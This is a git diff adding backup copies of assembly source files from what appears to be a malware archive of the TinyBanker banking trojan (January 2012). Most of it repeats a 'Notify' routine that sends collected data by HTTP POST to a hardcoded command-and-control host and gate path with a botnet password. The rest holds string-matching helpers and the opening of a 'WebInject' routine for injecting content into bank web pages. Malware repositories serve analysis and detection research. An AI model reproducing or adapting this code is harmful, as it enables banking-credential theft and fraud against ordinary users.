jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(3).inc new file mode 100644 index 0000000..3cfae85 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(3).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(4).inc new file mode 100644 index 0000000..e446ac4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(4).inc @@ -0,0 +1,105 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(5).inc new file mode 100644 index 0000000..8020640 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(5).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" + sPassword db "default_password" +; sBotNET db "default" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(6).inc new file mode 100644 index 0000000..c794230 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(6).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + sPassword db "default_password" +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(7).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(7).inc new file mode 100644 index 0000000..dfc729b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(7).inc @@ -0,0 +1,105 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + sPassword db "default_password" +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(8).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(8).inc new file mode 100644 index 0000000..a615ba6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(8).inc @@ -0,0 +1,108 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + sPassword db "default_password" + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + + + + +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(9).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(9).inc new file mode 100644 index 0000000..9eac636 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(9).inc @@ -0,0 +1,108 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + + sPassword db "default_password" + + +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(1).inc new file mode 100644 index 0000000..01304a5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(1).inc @@ -0,0 +1,153 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIMaskMatch - compare string with mask ;; +;; - "#" - any 1 digit, ;; +;; - "?" - any 1 symbol, ;; +;; - "*" - any group of symbols or no symbols at all ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpStrMask - pointer to mask ;; +;; __in nStrMaskLen - len of mask ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +StrIMaskMatch1 proc uses ecx ebx edx esi edi lpString, nStringLen, lpStrMask, nStrMaskLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nStrMaskLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString + mov ebx, nStringLen + add ebx, esi + dec ebx ;; lpSrting last symbol ptr + + mov edi, lpStrMask + mov ecx, nStrMaskLen + add ecx, edi + dec ecx ;; lpStrMask last symbol ptr + + xor edx, edx ;; Group start ptr + + jmp @F ;; Start compare + + +@next: + cmp ebx, esi + je @finish ;; If last symbol in lpSrting + cmp ecx, edi + je @finish ;; If last symbol in lpStrMask + + inc esi + inc edi + + + ;; Compare +@@: mov al, [edi] ;; Symbol from mask + + +;; ================================================== ;; + ;; Any single symbol (just skip it) + cmp al, "?" + je @next + + +;; ================================================== ;; + ;; Any single digit or actual # symbol + cmp al, "#" + jne @F + + cmp al, [esi] + je @next + + mov al, [esi] + + cmp al, "0" + jb @notmatch + cmp al, "9" + ja @notmatch + + jmp @next + + +;; ================================================== ;; + ;; Any group of symbols +@@: cmp al, "*" + jne @F + + cmp ecx, edi + je @ret ;; if end of lpStrMask + + mov edx, edi ;; save start of group + dec esi + jmp @next + + + ;; Case insensitive symbol compare +@@: cmp al, [esi] + je @next + + cmp al, "z" + ja @notmatch + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [esi] + je @next + jmp @notmatch + +@cmpupper: + cmp al, "Z" + ja @notmatch + cmp al, "A" + jb @notmatch + + add al, 32 + cmp al, [esi] + je @next + + + ;; Symbol not match, check if group state +@notmatch: + test edx, edx + jz @finish + + add esi, edx + sub esi, edi + inc esi + + mov edi, edx + jmp @next + + +;; ================================================== ;; + ;; Finish +@finish: + xor eax, eax + cmp ebx, esi + jne @ret ;; if not end of lpSrting + + + mov al, "*" +@@: cmp ecx, edi + je @ret ;; if end of lpStrMask + + ;; Last * in lpStrMask + inc edi + cmp al, [edi] + je @B + xor eax, eax + + +@ret: + ret +StrIMaskMatch1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(2).inc new file mode 100644 index 0000000..4e02f92 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(2).inc @@ -0,0 +1,153 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIMaskMatch - compare string with mask ;; +;; - "#" - any 1 digit, ;; +;; - "?" - any 1 symbol, ;; +;; - "*" - any group of symbols or no symbols at all ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpStrMask - pointer to mask ;; +;; __in nStrMaskLen - len of mask ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +StrIMaskMatch proc uses ecx ebx edx esi edi lpString, nStringLen, lpStrMask, nStrMaskLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nStrMaskLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString + mov ebx, nStringLen + add ebx, esi + dec ebx ;; lpSrting last symbol ptr + + mov edi, lpStrMask + mov ecx, nStrMaskLen + add ecx, edi + dec ecx ;; lpStrMask last symbol ptr + + xor edx, edx ;; Group start ptr + + jmp @F ;; Start compare + + +@next: + cmp ebx, esi + je @finish ;; If last symbol in lpSrting + cmp ecx, edi + je @finish ;; If last symbol in lpStrMask + + inc esi + inc edi + + + ;; Compare +@@: mov al, [edi] ;; Symbol from mask + + +;; ================================================== ;; + ;; Any single symbol (just skip it) + cmp al, "?" + je @next + + +;; ================================================== ;; + ;; Any single digit or actual # symbol + cmp al, "#" + jne @F + + cmp al, [esi] + je @next + + mov al, [esi] + + cmp al, "0" + jb @notmatch + cmp al, "9" + ja @notmatch + + jmp @next + + +;; ================================================== ;; + ;; Any group of symbols +@@: cmp al, "*" + jne @F + + cmp ecx, edi + je @ret ;; if end of lpStrMask + + mov edx, edi ;; save start of group + dec esi + jmp @next + + + ;; Case insensitive symbol compare +@@: cmp al, [esi] + je @next + + cmp al, "z" + ja @notmatch + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [esi] + je @next + jmp @notmatch + +@cmpupper: + cmp al, "Z" + ja @notmatch + cmp al, "A" + jb @notmatch + + add al, 32 + cmp al, [esi] + je @next + + + ;; Symbol not match, check if group state +@notmatch: + test edx, edx + jz @finish + + add esi, edx + sub esi, edi + inc esi + + mov edi, edx + jmp @next + + +;; ================================================== ;; + ;; Finish +@finish: + xor eax, eax + cmp ebx, esi + jne @ret ;; if not end of lpSrting + + + mov al, "*" +@@: cmp ecx, edi + je @ret ;; if end of lpStrMask + + ;; Last * in lpStrMask + inc edi + cmp al, [edi] + je @B + xor eax, eax + + +@ret: + ret +StrIMaskMatch endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(1).inc new file mode 100644 index 0000000..077e591 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(1).inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPosEx - case insensitive search first entry of substring in string ;; +;; - whitespaces insensitive ;; +;; - <'> equals <"> ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to start of founded substring ;; +;; ecx - pointer to end of founded substring ;; +;; ==================================================================================================== ;; +StrIPosEx1 proc uses ebx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPosEx1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(2).inc new file mode 100644 index 0000000..747cc11 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(2).inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPosEx - case insensitive search first entry of substring in string ;; +;; - whitespaces insensitive ;; +;; - <'> equals <"> ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to start of founded substring ;; +;; ecx - pointer to end of founded substring ;; +;; ==================================================================================================== ;; +StrIPosEx proc uses ebx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPosEx endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(1).inc new file mode 100644 index 0000000..5bd5154 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(1).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + 